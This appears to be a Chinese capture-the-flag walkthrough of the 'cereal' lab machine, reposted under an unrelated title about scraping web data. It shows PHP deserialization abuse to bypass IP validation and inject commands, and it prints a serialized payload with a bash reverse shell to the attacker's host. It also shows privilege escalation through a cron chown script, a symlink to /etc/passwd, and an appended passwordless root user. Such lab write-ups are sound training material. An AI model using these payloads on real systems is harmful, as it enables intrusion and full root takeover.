php抓取网页数据插入数据库 外壳坚硬的谷子

优采云 发布时间: 2022-06-20 19:09

  php抓取网页数据插入数据库 外壳坚硬的谷子

  发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)

  里面的内容大致的意思是

  通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!

  那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?

  这里还看到了一个被包含的js的文件

  点击这个链接 :44441/php.js"

  里面的内容大致就是序列化函数,大概率存在序列化操作

  先对其页面进行功能化测试,输入127.0.0.1

  在结果框中输出了结果

  输入一些运营商的DNS的IP地址

  结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!

  总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)

  这个地方是否会存在命令注入漏洞呢?

  使用;号,|管道符这样的连接命令,连接一个系统id的命令

  如图:没有任何返回

  使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据

  先把浏览器代理设置好

  

  通过抓取的报文,得到的是一个POST的请求方式;

  携带了一个obj的对象和一个ip 的变量要提交到服务端;

  其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径

  

  转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了

  pingTest :序列化对象定义的的类

  1 :代表类中一个数据的提交

  ipAddress :类中提交的一个数据的变量名称

  s : 代表了序列化

  9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。

  这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!

  如果觉得burp字体小,可以调的大一些

  

  重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)

  

  在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化

  序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;

  证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。

  转发后,服务端并没有执行该序列化的内容

  证明服务端对ip地址这样的格式存在检查机制!

  

  为了弄清这个问题,将这个原始的命令发送请求发送给repeater

  

  url被转换后,在repeater中点击send发送给服务端

  在重放的界面中,可以构造一些注入命令;

  我在这里添加 | ls ,发现服务端的响应报文有500的状态码

  改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏

  

  反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!

  那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里

  先停止burp的截断功能;

  

  访问浏览器,查看是否有git的版本库文件,结果没有提示

  

  查看.svn 也没有

  

  再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件

  

  再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件

  在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)

  先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;

  

  再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak

  寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)

  既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak

  查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!

  

  使用kali的文本编辑器mousepad打开该文件

  看起来是一个带有php标签的php语言文件;

  查看该php源码文件,发现有html标签文件

  其中有java脚本文件中的一些序列化操作函数

  源码审计分析

  class pingTest ---定义了类(反序列化对象的类)

  public $ipAddress = "127.0.0.1";--变量名称和赋值

  public $isValid = False; -- 校验是失败的

  public $output = ""; -- 空值

  

  这是之前抓取的报文中obj对象中有的内容

  function validate() {-- 定义了一个函数

  if (!$this->isValid) { -- 校验isValid函数是真还是假

  if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))

  {-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)

  $this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True

  }

  }

  $this->ping(); -- 执行Ping的命令;

  }

  public function ping() -- 以下是ping 的命令函数具体操作内容

  {

  if ($this->isValid) { -- isValid 若是 True

  $this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;

  这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;

  当post请求接收到来自obj请求的赋值时,进行一个解码的操作

  f (isset($_POST['obj'])) {

  $pingTest = unserialize -- 反序列化操作

  (urldecode($_POST['obj'])); --解码

  } else {

  $pingTest = new pingTest; -- 新的赋值

  }

  $pingTest->validate(); --调用vali

  分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!

  实现绕过服务端的检查!

  反序列化漏洞的利用方法

  先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。

  在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码

  

  运行该php文件

  生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

  

  将序列化内容粘贴到截获的报文之中去

  将这个url 地址转换一下

  能够看到有两个键值对 ipaddress 和isvalid

  b=1 为布尔值,代表了真的意思!

  点击发送,服务端返回了http状态码200

  再观察服务端渲染回来的界面结果,看起来,是执行成功了!

  再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!

  结果成功!

  由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!

  这里我在223.5.5.5后面增加了 ;id

  服务端回显了200的状态码

  渲染界面里提示成功!

  观察服务端回显的回应源数据文件

  id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称

  因此,就可以在此处插入更多的指令

  查看目标靶机中是否有nc的命令?

  结果命令没有回显

  由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!

  输入以下内容:

  在kali中继续修改ser1.php文件

  

  保存ser1.php文件后,在kali上开启侦听3028端口

  

  再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

  将这个序列化的数据内容插入的repter之中,点击发送!

  如图所示:获得了一个反弹shell的链接!身份是apche

  本地提权

  先收获第一个flag!

  

  查看操作系统版本

  

  查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!

  

  查看 目标系统内的所有用户

  发现有一个rocky的用户可以登录系统!

  

  查看rocky用户下的所有文件

  重点放在了public_html下的文件,可以看到44441端口下的一些文件

  

  进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!

  查看目标靶机的系统进程

  没有发现可利用的线索 (mysql用的是非root)

  目标靶机启用了大量的端口!

  这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!

  在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具

  pspy64一个linux系统进程监控工具

  下载地址:

  部分网络环境需要挂的代理访问

  百度云下载地址:

  提取码:1zrs

  从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)

  

  我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!

  先查看目标靶机的定时任务和root下的定时任务

  在root下提示是没有权限的!

  

  将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)

  通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!

  

  因此,我利用nc 来接收这个pspy64文件

  bash-4.4$ nc -nvlp 3030 > pspy

  传入成功

  nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1

  增加执行权限到pspy文件~

  启动改文件 ./pspy

  这个启动和执行过程需要等待一会,系统会不会有新的进程出现

  !

  

  1:33

  在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令

  

  这应该是管理员自己创建的一个脚本文件

  /bin/bash /usr/share/scripts/chown.sh

  我在kali上*敏*感*词*3031端口,增加一个反弹shell的连接

  

  修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031

  查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取

  

  查看该chown.sh文件

  看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache

  

  这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改

  

  一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!

  

  那么,这个命令脚本内容对目前渗透有什么帮助呢?

  软连接这个命令这个时候就派上了用场!

  

  先来看一下系统的/etc/passwd这个文件的属主和属组

  在kali上只有root用户有可读可写权限,其他的只有读的权限

  

  在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!

  

  难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?

  ln -sf /etc/passwd ./passwd

  

  这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!

  等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,

  可是图中的passd权限却没有发生变化!

  

  按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!

  观察,/etc/passwd这个文件的属主和属组变化了!

  

  这样的话就可以将root密码设为空了!

  

  因为当前获得的反弹shell 不太稳定

  我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去

  echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd

  最后查看passwd文件,注入成功!

  

  最后使用su命令,切换到daidai这个用户

  提权成功,获取flag

  到此结束,打靶结束!

  

  

  

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线